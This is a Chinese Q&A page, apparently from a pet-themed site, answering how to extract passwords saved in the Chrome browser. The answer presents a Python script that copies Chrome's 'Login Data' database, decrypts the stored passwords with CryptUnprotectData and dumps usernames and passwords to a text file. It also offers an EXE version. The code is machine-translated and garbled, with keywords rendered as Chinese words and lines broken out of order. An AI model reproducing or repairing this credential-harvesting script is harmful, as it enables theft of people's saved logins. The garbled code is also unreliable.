首页 行业资讯 宠物日常 宠物养护 宠物健康 宠物故事

如何获取的Chrome浏览器保存过的账号密码?

发布网友 发布时间:2022-04-23 17:38

我来回答

1个回答

热心网友 时间:2022-06-08 10:01

大家好,今天给大家分享如何获取保存在浏览器的账号密码

铬一般都保存在sqlite3的文件里,路径如下

C: Users Administrator AppData Local Google Chrome User Data

PY*:

进口OS,SYS

进口

sqlite3的

进口win32crypt

outFilepath = os.path.join(os.path.dirname(sys.executable),

'ChromePass.txt')

如果os.path.exists(outFilepath):

os.remove outFilepath)

dbfilepath = os.path.join(os.environ ['LOCALAPPDATA'],

r'Google Chrome User Data Default Login Data')

tmpfile = os.path.join(os.path.dirname(sys。可执行文件),tmptmptmp)

如果os.path.exists(tmpfile):

os.remove(tmpfile)

shutil.copyfile(dbfilepath,tmpfile)#如果文件被锁定

康恩= sqlite3.connect(tmpfile)

在conn.execute行(“选择usernamevalue,passwordvalue,从登录signonrealm'):

pwdHash = STR(行[1])

尝试:RET = win32crypt.CryptUnprotectData(pwdHash,无,无,0)

除了:

打印'outFile:outFile.write('用户名:{0:

sys.exit(-1)

开放(outFilepath,'A'

} n n'.format(

行[0].encode('GBK'),RET [1].encode('GBK'),行[2].encode('GBK')))

conn.close()

print'将所有Chrome密码保存到: n'outFilepath

os。删除(tmpfile)#删除临时文件另外

再附上一个windows版

执行EXE程序后会在程序目录下生成chromepass.txt

因为我不习惯保存账号密码,所以都没有

江湖险恶,我从来都不会轻易留下我的姓名

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com